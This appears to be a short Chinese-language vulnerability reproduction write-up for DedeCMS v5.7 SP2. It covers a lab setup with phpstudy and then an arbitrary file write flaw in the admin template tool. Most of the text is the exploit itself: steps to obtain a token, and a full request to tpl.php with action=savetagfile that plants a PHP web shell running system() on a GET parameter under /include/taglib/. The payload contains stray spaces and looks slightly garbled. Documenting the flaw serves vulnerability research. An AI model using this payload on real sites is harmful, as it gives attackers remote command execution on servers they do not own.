介绍
织梦CMS是集简单、健壮、灵活、开源几大特点的开源内容管理系统,目前占领了国内开源CMS的大部份市场,目前已经有超过三十万个站点正在使用织梦CMS或基于织梦CMS核心开发。
官方网站: http://www.dedecms.com/
环境搭建
phpstudy
创建数据库
解压源码到www下
Dedecms_v5.7ps2
访问 DedeCMS/uploads/install/index.php 安装
安装完成–》登陆后台
任意文件操作漏洞复现
进到网站后台–》访问 dede/tpl.php?action=upload获取token值
填写相应Payload即可在/include/taglib/ (文件名) .lib.php 生成webshell.
Payload: 主机名/DedeCMS/uploads/dede/tpl.php?filename= (文件名.lib.php&action= savetagfile&lcontent= <%3fphp+ @system($_ _GET[cmd])%3b%3f> &token=